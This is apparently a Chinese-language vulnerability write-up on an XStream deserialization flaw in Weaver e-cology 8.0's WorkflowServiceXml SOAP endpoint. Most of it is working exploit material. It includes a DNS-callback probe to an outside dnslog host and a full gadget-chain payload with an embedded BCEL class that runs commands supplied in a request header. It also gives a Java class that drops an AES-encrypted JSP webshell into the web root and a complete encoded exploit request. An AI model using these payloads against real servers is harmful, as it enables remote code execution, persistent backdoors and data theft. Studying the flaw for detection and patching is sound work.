泛微Xstream反序列化漏洞分析

泛微Xstream反序列化漏洞分析

漏洞分析

​ POC大致如下

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /services%20/WorkflowServiceXml HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 33003
Host: : 192.168.190.128
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest> <web:string>

​ 根据作者提供的POC可以知道作者访问了webservice的接口,这类请求会交给XFireConfigurableServlet进行处理。

1
services/WorkflowServiceXml

image-20210506101625126

​ 查看了xfire组件的使用案例,在service.xml中会配置service的接口和实现类。

image-20210506102856979

​ 想要查看某个接口的调用方式也比较简单,直接访问services目录,可以看到所有的service接口。

image-20210506103010562

​ 再利用wsdler解析我们需要的数据包。

image-20210506103300724

​ 请求后会交给weaver.workflow.webservices.WorkflowServiceImplXml#doCreateWorkflowRequest进行处理,将我们传入的var1参数通过xmlToObject进行解析。

image-20210506103453888

​ 最终会通过xstream进行解析,我目前使用的是泛微8.0,对应的xstream的版本为1.3,并不是最新的版本,因此存在反序列化漏洞。

image-20210506103537356

漏洞利用

​ 由于我们传入的内容会被当作一个参数传入,特殊字符会对原本的xml请求解析造成影响,因此需要进行html编码。

image-20210513181322092

使用URLDNS进行探测

1
2
3
4
5
6
<map>
<entry>
<url>http://1xsz12.dnslog.cn</url>
<string>http://1xsz12.dnslog.cn</string>
</entry>
</map>

image-20210513181159174

命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='javafx.collections.ObservableList$1'/>
</default>
<int>3</int>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
<names class='java.util.AbstractList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>0</expectedModCount>
<outer-class class='java.util.Arrays$ArrayList'>
<a class='string-array'>
<string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$d9W$TW$i$fe$G$C3$M$c3b$Qa$5c$b1u$J$w$c1$ee$V$a9$VA$5c$g$d0$g$8a$Vm$ed0$5c$60$m$cc$c4$c9D$90$$v$b3$9b$ddwk$b7$97$k_$db$3eDO$7b$da$d3$87$be$d8S$l$da$3f$a8$f6$bb$93$40$J$89$da$9c$93$7b$e7$fe$eeo$bb$bf$ef$bb$bf$99$3f$fe$f9$e9W$A$f7$e3$5b$j$G$S$3a$G0$a8$e1$88$9c$8f$eax$i$c7$e4$90$d40$a4$e3$J$Mk8$ae$e2I$j$3aN$a8$Y$d1q$S$a7$a4$d9SR$f2$b4$86$d3r$7eF$87$85Q9$d8$g$c6T$I$N$e3$3a$9a1$a1aR$85$a3aJ$c5$b4$8e$Uft$ac$81$ab$c1$93sZ$Og$e4$e0k$c8$a8$It$dc$8d$ac$8a$b3$K$aa$bb$j$d7$J$f6$u$a8$8c$b5$P$x$88$f4zcBAC$c2q$c5$60vfT$f8C$d6h$8a$92h$c2$b3$ad$d4$b0$e5$3br$bd$m$M$ect$c6$b3$a7E$40$fd$e9$de$945$3f$af$60Eb$ca$3aku$a6$yw$a2$93$a2Lf7$V$tD$d0$9b$f5$7d$e1$G$c7$c4$99$ac$c8$E$D$KV$_Q$f4$c5xJ$d8A$e7$80$I$s$bd1Z$d4$dbE$ea2$81$ff$b4$8f$8cNQ$99Z$ca$b8$C$b3$8c$9b$7eG$a4$a4$X$cd$X$99$b4$e7f$98$ab$ce$U$8e$fbN$m$7c$86Vf$V4$e6$ed$i$af3$_$de$9d$d79$u$ac$b1P$a7$d2$9e$Z$x$O$9b$M$7c$c7$9d$90a3$K$9a$f2$h$d9$c0Iu$sm$cbuC$P$K$p5$_1$d9$3fg$8bt$e0x$$$f7$o$c1$a4C$c3$9a$c4x$d6$9e$3e$e7e$v$aaK$G$96$3d$3d$60$a5$c3$82$S$Q$S$40$c5$y$e1W1Gt$J$v$f1$q$60$cc$z$e9e$7d$5b$f4$3b$b2$f0F$c1E$5cF2$b0$F$5bU$9c30$8fg$Z$868$d9$G$9e$c3$f3$w$5e0p$k$_$gx$J$_$x$d8j$7b3q$db$ca$da$93$5e$dc$V$c1$ac$e7O$c7SN$s$Qn$7c$c8N$t$XqT$f1$8a$81Wq$81P$96$c0Fj$yC$d7$c0kx$9d$d5$5c$8e$O$8fa$e0$N$bci$e0$z$5c4$f06$$$d2$f6$f4$C$k$fd$96$cd2$hx$H$ef$f2$a4$G$de$c3$fb$G$3e$c0$87$y$cf$oN$qA1B$KbioV$f8b$acm$f4$5c$5b$da$L$ac$m$e3$b5$95$fd$Z$f8$I$l$e7$9d$e5$B$z$ca0$P$a4$C5$efc$tOZ$C$a6$8aO$M$7c$8a$cfdu$3fWPq$aa$c7$c0$r$7ca$e02$be4$f0$V$beV$A$b2$a0$M$d4$G$be$c1V$3a$_$60$a4$a0$f5V$3cW$d0r$L$ee$$d$U$ee$i$cb$ba$813S$e0$f0$e2$a29$d6$9e$u$d1$914$Ts$c2$s$da$b1R$e6$$58$ea$7b$b6$I$_$e7$92$c2$MM$fa$ac$WyY$b8$7d$L$eb$95E$b1$f2RZ6K$7exn$m$e6$82$90$L$J$__j$b3H$7d$c9$96$b4$v$bbA$a8R$7c$I$r$K6$df$n$f7$85$b6$o$e1$5d$a8$e4$de26$tKl$dao$d7s$aa$j$f7$ac7$cd$d2$ee$8a$956$9b$93$a5$a2$f6r$zI$935$c9$l$a3$a9$b4$M$f2$ceS$n$99M$L$df$cek5r$dd$t$b8$m$af$L$d8w$dc$e1$fc$cb$db$5c$5dF$E$3d$b6$84$d3$J$fbr$q6$o$9by$r$3d$x$d8R$e60e3$af$9a$95$b7L$S$abL$f4$e1$oF$W$c8$c3$h$ca$Q$87$dct6$a0$9e$b0fH$e8$853$f3$d6$$$d9$a0$fb$d6X$d9$N$e9$d9$c8fD$9fH93$f9$5b$7e$h$ea$$k$b7$ea$a4$95$Z$q$fb$c2$d7$d7$I$P$ee$86$8bb$ba$$$b6$ed$864$l$82$b0$e5$O$f9$96$z$b0$R$9b$f9$82$95$3fvn$d9E9$c6$80$8avT$a3$96$d2$bf$b7$5d$85r$N$V$d1$ca$i$o$c7$af$a1$w$87$ea$a8$9a$83$96$d8$k$ad$a9$fc$Fz$O$b5$D$3b$U$3e$Z9$d4$Nv$e4P$9fCC$b41$87$V$5d$R3$S$c9$njF$um$ea$aa2i$5b$l$5dY0$ea$aa6$ab$cd$aa$82$ddoh$eeRM5$ba$w$87$W$e9$o$da$g$a1$d6$89$ca$a8$99$94$aa$9a$a9uP$60P$b0$3a$Z$aa$9b$5d5$3fc$cd$J$sf$d60$b1$i$d6$5e$c5$ba$e8$fa$i6t$e9$a6j2$40$db$r$d4$cay$e3$VTE$ef$a2$df$x2$e7$i6$fd$c0$TFp$j$7f$f2$D$a0$S$ed$3c$e3$m$9a8$g$94$d6$a3$O$N0$d1$88MX$818$a2$e8$e6$de$3e$ac$c4a$7ea$8c$60$V$a6$d0$823h$c5$Fj$5d$c2j$fc$c8$_$8a$ebXOokq$D$eb$f0$X6$60$h$bd$cd$d3$9f$89$ef$b1$j$3b$Yo$T$beC$H$fdU$f0$7f$Z$9d$d8$c9$c8$dd$ec$fc$f7$e0$5eF$3d$cc7$d4$7d$94U1$82$c7O$a58k$3f$85$d3x$A$PBe$a4$3e$3cD$99$c6x$3b$f10v$a1$86Q$5b$d0$85$dd$fc$g$baA$fbn$3c$c2$Y$c4$K$7b$f0$u$e7$bd$fc$3b$88$dc$c4$ef$a8U$d1$a3b$9f$8a$5e$V$7d$w$f6$87$p$9f$fb$c3$f1$80$8a$83P$b8$baI$fb$ff$a1Z$R$ae$O$dcd$a6$b4$ea$91$c3$a1$IM$P3$60$F$k$fb$X$9f$s$83$aa$ec$J$A$A
</string>
</a>
</outer-class>
</names>
<processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>
<parent class='sun.misc.Launcher$ExtClassLoader'>
</parent>
<package2certs class='hashtable'/>
<classes defined-in='java.lang.ClassLoader'/>
<defaultDomain>
<classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>
<principals/>
<hasAllPerm>false</hasAllPerm>
<staticPermissions>false</staticPermissions>
<key>
</key>
</defaultDomain>
<domains class="java.util.Collections$SynchronizedSet" serialization="custom">
<java.util.Collections_-SynchronizedCollection>
<default>
<c class="set"></c>
<mutex class="java.util.Collections$SynchronizedSet" reference="../../.."/>
</default>
</java.util.Collections_-SynchronizedCollection>
</domains> <packages/>
<nativeLibraries/>
<assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>
<defaultAssertionStatus>false</defaultAssertionStatus>
<classes/>
<ignored__packages>
<string>java.</string>
<string>javax.</string>
<string>sun.</string>
</ignored__packages>
<repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>
<__path>
<paths/>
<class__path>.</class__path>
</__path>
<__loadedClasses/>
</repository>
<deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>
</processorCL>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

​ 使用BCEL编解码工具对这段内容解压。

image-20210513182334535

​ 内容如下,虽然calc成功执行了,但是后面的内容没有执行,可能是版本的问题,我在泛微8.0的resin中并没有找到TcpSocketLink类。但是在resin4.0中确实是存在的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class fuckyou {
public fuckyou() {
try {
Runtime.getRuntime().exec("calc");
Class tcpsocketLinkClazz = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.network.listen.TcpSocketLink");
Method getCurrentRequestM = tcpsocketLinkClazz.getMethod("getCurrentRequest");
Object currentRequest = getCurrentRequestM.invoke((Object)null);
Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_responseFacade");
f.setAccessible(true);
Object response = f.get(currentRequest);
Method getWriterM = response.getClass().getMethod("getWriter");
Writer w = (Writer)getWriterM.invoke(response);
w.write("powered by potatso ");
Method getHeaderM = currentRequest.getClass().getMethod("getHeader", String.class);
String cmd = (String)getHeaderM.invoke(currentRequest, "potats0");
Scanner s = (new Scanner(Runtime.getRuntime().exec(cmd).getInputStream())).useDelimiter("\\A");
w.write(s.hasNext() ? s.next() : "");
} catch (Exception var11) {
var11.printStackTrace();
}

}
}

image-20210513182652660

​ 当然仅仅是calc并不满足实战的要求,现在有两个思路,一个思路是找到物理路径或者使用相对路径写shell,另一个思路就是直接写一个内存马。

写shell

​ 只要获取到网站的根目录,再去写文件就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;

public class getPath {
public getPath() {
String resin = System.getProperty("user.dir");

try {
BufferedWriter out = new BufferedWriter(new FileWriter(resin + "\\..\\ecology\\SystemRightqroup.jsp"));
out.write("<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals(\"POST\")){String k=\"39236cce7e199d43\";session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>");
out.close();
} catch (IOException var3) {
}

}
}

​ 利用EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST //services/WorkflowServiceXml HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.3.16/services
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: login_locale=zh_CN; APP_HOST=http%3A//192.168.3.16/; HOST=http%3A//192.168.3.16/; kodUserLanguage=zh-CN; __51uvsct__JH8lWQvr8bXXIzV9=1; __51vcke__JH8lWQvr8bXXIzV9=4ce68615-954c-58a4-8d5d-bed01c29329e; __51vuft__JH8lWQvr8bXXIzV9=1619142397702; kodUserID=1; X-CSRF-TOKEN=AUxx7UR4wqKjkpCWzwdR; kodVersionCheck=check-at-1619144929; avatarImageUrl=3855295783613973104; JSESSIONID=abc9LIHQgqQcNh8D8iLLx; testBanCookie=test
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: 192.168.3.16
Content-Length: 32527

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<!--type: string-->
<web:in0>
&lt;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#80;&#114;&#105;&#111;&#114;&#105;&#116;&#121;&#81;&#117;&#101;&#117;&#101;&#32;&#115;&#101;&#114;&#105;&#97;&#108;&#105;&#122;&#97;&#116;&#105;&#111;&#110;&#61;&apos;&#99;&#117;&#115;&#116;&#111;&#109;&apos;&gt;&#13;&#10;&#32;&#32;&lt;&#117;&#110;&#115;&#101;&#114;&#105;&#97;&#108;&#105;&#122;&#97;&#98;&#108;&#101;&#45;&#112;&#97;&#114;&#101;&#110;&#116;&#115;&#47;&gt;&#13;&#10;&#32;&#32;&lt;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#80;&#114;&#105;&#111;&#114;&#105;&#116;&#121;&#81;&#117;&#101;&#117;&#101;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#115;&#105;&#122;&#101;&gt;&#50;&lt;&#47;&#115;&#105;&#122;&#101;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#99;&#111;&#109;&#112;&#97;&#114;&#97;&#116;&#111;&#114;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&apos;&#106;&#97;&#118;&#97;&#102;&#120;&#46;&#99;&#111;&#108;&#108;&#101;&#99;&#116;&#105;&#111;&#110;&#115;&#46;&#79;&#98;&#115;&#101;&#114;&#118;&#97;&#98;&#108;&#101;&#76;&#105;&#115;&#116;&#36;&#49;&apos;&#47;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#47;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#105;&#110;&#116;&gt;&#51;&lt;&#47;&#105;&#110;&#116;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#120;&#109;&#108;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#98;&#105;&#110;&#100;&#46;&#118;&#50;&#46;&#114;&#117;&#110;&#116;&#105;&#109;&#101;&#46;&#117;&#110;&#109;&#97;&#114;&#115;&#104;&#97;&#108;&#108;&#101;&#114;&#46;&#66;&#97;&#115;&#101;&#54;&#52;&#68;&#97;&#116;&#97;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#100;&#97;&#116;&#97;&#72;&#97;&#110;&#100;&#108;&#101;&#114;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#100;&#97;&#116;&#97;&#83;&#111;&#117;&#114;&#99;&#101;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&apos;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#120;&#109;&#108;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#119;&#115;&#46;&#101;&#110;&#99;&#111;&#100;&#105;&#110;&#103;&#46;&#120;&#109;&#108;&#46;&#88;&#77;&#76;&#77;&#101;&#115;&#115;&#97;&#103;&#101;&#36;&#88;&#109;&#108;&#68;&#97;&#116;&#97;&#83;&#111;&#117;&#114;&#99;&#101;&apos;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#99;&#111;&#110;&#116;&#101;&#110;&#116;&#84;&#121;&#112;&#101;&gt;&#116;&#101;&#120;&#116;&#47;&#112;&#108;&#97;&#105;&#110;&lt;&#47;&#99;&#111;&#110;&#116;&#101;&#110;&#116;&#84;&#121;&#112;&#101;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#105;&#115;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&apos;&#106;&#97;&#118;&#97;&#46;&#105;&#111;&#46;&#83;&#101;&#113;&#117;&#101;&#110;&#99;&#101;&#73;&#110;&#112;&#117;&#116;&#83;&#116;&#114;&#101;&#97;&#109;&apos;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#101;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&apos;&#106;&#97;&#118;&#97;&#120;&#46;&#115;&#119;&#105;&#110;&#103;&#46;&#77;&#117;&#108;&#116;&#105;&#85;&#73;&#68;&#101;&#102;&#97;&#117;&#108;&#116;&#115;&#36;&#77;&#117;&#108;&#116;&#105;&#85;&#73;&#68;&#101;&#102;&#97;&#117;&#108;&#116;&#115;&#69;&#110;&#117;&#109;&#101;&#114;&#97;&#116;&#111;&#114;&apos;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#105;&#116;&#101;&#114;&#97;&#116;&#111;&#114;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&apos;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#116;&#111;&#111;&#108;&#115;&#46;&#106;&#97;&#118;&#97;&#99;&#46;&#112;&#114;&#111;&#99;&#101;&#115;&#115;&#105;&#110;&#103;&#46;&#74;&#97;&#118;&#97;&#99;&#80;&#114;&#111;&#99;&#101;&#115;&#115;&#105;&#110;&#103;&#69;&#110;&#118;&#105;&#114;&#111;&#110;&#109;&#101;&#110;&#116;&#36;&#78;&#97;&#109;&#101;&#80;&#114;&#111;&#99;&#101;&#115;&#115;&#73;&#116;&#101;&#114;&#97;&#116;&#111;&#114;&apos;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#110;&#97;&#109;&#101;&#115;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&apos;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#65;&#98;&#115;&#116;&#114;&#97;&#99;&#116;&#76;&#105;&#115;&#116;&#36;&#73;&#116;&#114;&apos;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#99;&#117;&#114;&#115;&#111;&#114;&gt;&#48;&lt;&#47;&#99;&#117;&#114;&#115;&#111;&#114;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#108;&#97;&#115;&#116;&#82;&#101;&#116;&gt;&#45;&#49;&lt;&#47;&#108;&#97;&#115;&#116;&#82;&#101;&#116;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#101;&#120;&#112;&#101;&#99;&#116;&#101;&#100;&#77;&#111;&#100;&#67;&#111;&#117;&#110;&#116;&gt;&#48;&lt;&#47;&#101;&#120;&#112;&#101;&#99;&#116;&#101;&#100;&#77;&#111;&#100;&#67;&#111;&#117;&#110;&#116;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#111;&#117;&#116;&#101;&#114;&#45;&#99;&#108;&#97;&#115;&#115;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&apos;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#65;&#114;&#114;&#97;&#121;&#115;&#36;&#65;&#114;&#114;&#97;&#121;&#76;&#105;&#115;&#116;&apos;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#97;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&apos;&#115;&#116;&#114;&#105;&#110;&#103;&#45;&#97;&#114;&#114;&#97;&#121;&apos;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#115;&#116;&#114;&#105;&#110;&#103;&gt;&#36;&#36;&#66;&#67;&#69;&#76;&#36;&#36;&#36;&#108;&#36;&#56;&#98;&#36;&#73;&#36;&#65;&#36;&#65;&#36;&#65;&#36;&#65;&#36;&#65;&#36;&#65;&#36;&#65;&#36;&#56;&#100;&#84;&#36;&#53;&#98;&#83;&#36;&#104;&#55;&#36;&#85;&#36;&#51;&#101;&#107;&#108;&#36;&#100;&#54;&#36;&#121;&#78;&#36;&#57;&#51;&#36;&#57;&#97;&#36;&#57;&#48;&#75;&#36;&#97;&#102;&#36;&#57;&#98;&#77;&#36;&#57;&#99;&#106;&#36;&#99;&#57;&#70;&#36;&#56;&#52;&#75;&#72;&#36;&#53;&#100;&#36;&#68;&#36;&#78;&#36;&#97;&#54;&#100;&#36;&#115;&#36;&#84;&#83;&#50;&#113;&#36;&#97;&#48;&#36;&#57;&#51;&#36;&#74;&#121;&#88;&#36;&#99;&#98;&#36;&#99;&#50;&#36;&#87;&#36;&#121;&#36;&#98;&#98;&#36;&#104;&#73;&#36;&#100;&#98;&#36;&#101;&#48;&#97;&#36;&#102;&#50;&#36;&#55;&#98;&#36;&#102;&#97;&#36;&#100;&#99;&#36;&#88;&#36;&#100;&#51;&#105;&#102;&#36;&#102;&#97;&#36;&#68;&#36;&#102;&#97;&#36;&#97;&#51;&#36;&#100;&#97;&#36;&#107;&#36;&#100;&#57;&#36;&#56;&#54;&#36;&#115;&#36;&#118;&#36;&#80;&#36;&#102;&#53;&#36;&#56;&#101;&#36;&#56;&#102;&#36;&#99;&#101;&#36;&#102;&#53;&#36;&#100;&#51;&#36;&#100;&#49;&#36;&#100;&#49;&#36;&#100;&#49;&#36;&#102;&#57;&#36;&#102;&#51;&#36;&#97;&#102;&#36;&#100;&#102;&#36;&#102;&#102;&#36;&#65;&#36;&#56;&#48;&#69;&#36;&#97;&#56;&#36;&#51;&#98;&#80;&#36;&#56;&#54;&#36;&#53;&#98;&#69;&#36;&#97;&#56;&#56;&#112;&#36;&#104;&#36;&#98;&#101;&#36;&#98;&#49;&#36;&#56;&#49;&#36;&#100;&#56;&#36;&#101;&#48;&#36;&#100;&#98;&#48;&#36;&#101;&#51;&#36;&#99;&#48;&#56;&#36;&#100;&#99;&#50;&#36;&#101;&#52;&#78;&#36;&#82;&#36;&#67;&#36;&#98;&#51;&#36;&#100;&#101;&#117;&#36;&#97;&#48;&#36;&#65;&#36;&#100;&#52;&#36;&#56;&#49;&#36;&#51;&#99;&#36;&#99;&#99;&#36;&#87;&#36;&#101;&#49;&#36;&#57;&#101;&#89;&#36;&#101;&#55;&#36;&#77;&#36;&#57;&#57;&#36;&#98;&#55;&#97;&#36;&#99;&#49;&#36;&#56;&#54;&#69;&#36;&#104;&#36;&#101;&#101;&#36;&#53;&#98;&#48;&#36;&#98;&#101;&#36;&#121;&#98;&#36;&#97;&#49;&#87;&#36;&#122;&#36;&#89;&#36;&#112;&#36;&#102;&#101;&#36;&#56;&#101;&#36;&#70;&#36;&#102;&#57;&#36;&#102;&#53;&#36;&#97;&#52;&#36;&#99;&#100;&#36;&#122;&#36;&#98;&#56;&#36;&#100;&#56;&#36;&#81;&#49;&#36;&#102;&#102;&#49;&#36;&#51;&#98;&#108;&#113;&#36;&#102;&#57;&#36;&#51;&#99;&#108;&#69;&#36;&#97;&#56;&#36;&#118;&#55;&#36;&#83;&#36;&#87;&#70;&#36;&#51;&#98;&#36;&#97;&#49;&#36;&#85;&#70;&#36;&#107;&#36;&#118;&#36;&#99;&#55;&#36;&#57;&#50;&#76;&#36;&#53;&#98;&#112;&#36;&#97;&#100;&#36;&#98;&#49;&#36;&#108;&#36;&#102;&#101;&#36;&#105;&#36;&#99;&#101;&#36;&#56;&#97;&#100;&#36;&#98;&#54;&#36;&#57;&#101;&#36;&#101;&#100;&#36;&#101;&#100;&#113;&#36;&#99;&#57;&#36;&#100;&#98;&#36;&#51;&#102;&#73;&#36;&#97;&#49;&#36;&#98;&#57;&#36;&#97;&#99;&#36;&#110;&#36;&#57;&#99;&#36;&#101;&#101;&#36;&#75;&#101;&#36;&#99;&#49;&#68;&#36;&#97;&#51;&#36;&#99;&#51;&#36;&#102;&#53;&#36;&#100;&#51;&#80;&#119;&#81;&#85;&#36;&#57;&#48;&#36;&#53;&#99;&#36;&#56;&#57;&#36;&#100;&#56;&#36;&#65;&#36;&#79;&#36;&#97;&#50;&#36;&#97;&#50;&#48;&#36;&#101;&#101;&#36;&#99;&#99;&#54;&#36;&#98;&#53;&#36;&#85;&#113;&#36;&#72;&#36;&#56;&#100;&#36;&#88;&#36;&#57;&#97;&#36;&#51;&#97;&#100;&#36;&#72;&#36;&#57;&#98;&#97;&#36;&#51;&#97;&#36;&#100;&#56;&#36;&#54;&#48;&#36;&#57;&#48;&#36;&#101;&#51;&#36;&#83;&#36;&#115;&#107;&#36;&#56;&#49;&#36;&#100;&#51;&#76;&#50;&#36;&#99;&#57;&#36;&#102;&#56;&#36;&#112;&#97;&#36;&#98;&#54;&#36;&#122;&#36;&#56;&#100;&#36;&#100;&#48;&#36;&#97;&#56;&#65;&#36;&#117;&#36;&#99;&#49;&#36;&#85;&#36;&#53;&#99;&#36;&#98;&#54;&#36;&#97;&#48;&#36;&#57;&#56;&#36;&#118;&#36;&#36;&#105;&#36;&#53;&#98;&#72;&#36;&#104;&#36;&#107;&#36;&#57;&#52;&#36;&#101;&#48;&#36;&#53;&#98;&#36;&#97;&#56;&#90;&#112;&#36;&#101;&#53;&#36;&#102;&#99;&#36;&#98;&#52;&#112;&#36;&#101;&#98;&#83;&#36;&#56;&#51;&#36;&#56;&#49;&#36;&#51;&#98;&#85;&#36;&#53;&#101;&#36;&#102;&#100;&#56;&#36;&#57;&#100;&#122;&#36;&#115;&#36;&#97;&#50;&#54;&#36;&#57;&#55;&#36;&#114;&#36;&#102;&#56;&#36;&#79;&#48;&#51;&#119;&#36;&#57;&#55;&#36;&#100;&#50;&#36;&#53;&#100;&#36;&#99;&#101;&#36;&#57;&#50;&#36;&#117;&#36;&#101;&#57;&#36;&#102;&#52;&#118;&#36;&#57;&#98;&#36;&#51;&#100;&#36;&#97;&#53;&#36;&#102;&#57;&#36;&#101;&#49;&#51;&#36;&#100;&#49;&#36;&#101;&#57;&#36;&#101;&#97;&#36;&#100;&#55;&#50;&#36;&#99;&#57;&#82;&#36;&#98;&#97;&#36;&#97;&#102;&#36;&#100;&#50;&#36;&#83;&#36;&#121;&#36;&#99;&#51;&#36;&#56;&#97;&#73;&#102;&#36;&#100;&#53;&#36;&#57;&#48;&#36;&#101;&#102;&#36;&#97;&#100;&#36;&#100;&#99;&#36;&#102;&#52;&#114;&#36;&#101;&#53;&#97;&#36;&#103;&#118;&#36;&#98;&#56;&#36;&#120;&#36;&#79;&#36;&#100;&#51;&#68;&#36;&#101;&#97;&#36;&#86;&#36;&#99;&#102;&#108;&#36;&#52;&#48;&#51;&#36;&#122;&#36;&#111;&#36;